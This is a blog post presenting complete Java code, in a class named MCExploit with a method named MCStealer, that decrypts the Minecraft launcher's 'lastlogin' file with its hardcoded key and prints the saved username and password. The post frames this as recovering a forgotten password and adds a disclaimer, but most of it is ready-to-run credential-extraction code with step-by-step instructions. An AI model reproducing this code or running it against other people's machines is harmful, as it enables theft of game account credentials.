Decrypting Minecraft Password

If you want to retrieve a forgotten password in Minecraft you can use some simple Java to decrypt the “lastlogin” file if the username and password from the last session was saved.

I do not condone the act of stealing or cracking people’s passwords and this information is provided as is.

The full video is located here:
http://www.youtube.com/watch?v=YNm5DJtUI-0

In summary:

  1. Install Java 7
  2. Install Eclipse
  3. Create a java project called MCExploit
  4. Create a new class called MCExploit
  5. Copy and paste the following into the java class over writing everything in it:
    import java.io.*;
    import java.net.*;
    import java.util.*;
    import javax.crypto.*;
    import javax.crypto.spec.*;

    public class MCExploit
    { public static void main(String[] args) throws Exception {
    System.out.println(MCStealer()); } public static String MCStealer() throws Exception {
    String output = null;
    Random random = new Random(43287234L);
    byte[] salt = new byte[8];
    random.nextBytes(salt);
    PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
    SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
    Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
    cipher.init(2, pbeKey, pbeParamSpec);
    if (getWorkingDirectory().exists())
    { File lastLogin = new File(getWorkingDirectory(), "lastlogin"); DataInputStream dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher)); output = dis.readUTF() + " | " + dis.readUTF(); dis.close();
    }
    return output; } public static File getWorkingDirectory() {
    String userHome = System.getProperty("user.home", ".");
    File workingDirectory;
    switch (getPlatform())
    { case 1: case 2: workingDirectory = new File(userHome, ".minecraft/"); break; case 3: String applicationData = System.getenv("APPDATA"); if (applicationData != null) workingDirectory = new File(applicationData, ".minecraft/"); else workingDirectory = new File(userHome, ".minecraft/"); break; case 4: workingDirectory = new File(userHome, "Library/Application Support/minecraft"); break; default: workingDirectory = new File(userHome, ".minecraft/");
    }
    return workingDirectory; } private static int getPlatform() {
    String osName = System.getProperty("os.name").toLowerCase();
    if (osName.contains("linux")) return 1;
    if (osName.contains("unix")) return 1;
    if (osName.contains("solaris")) return 2;
    if (osName.contains("sunos")) return 2;
    if (osName.contains("win")) return 3;
    if (osName.contains("mac")) return 4;
    return 5; }
    }

  6. Run the class

About Danny

I.T software professional always studying and applying the knowledge gained and one way of doing this is to blog. Danny also has participates in a part time project called Energy@Home [http://code.google.com/p/energyathome/] for monitoring energy usage on a premise. Dedicated to I.T since studying pure Information Technology since the age of 16, Danny Tsang working in the field that he has aimed for since leaving school. View all posts by Danny → This entry was posted in Games, Security, Software and tagged , , . Bookmark the permalink.

Leave a Reply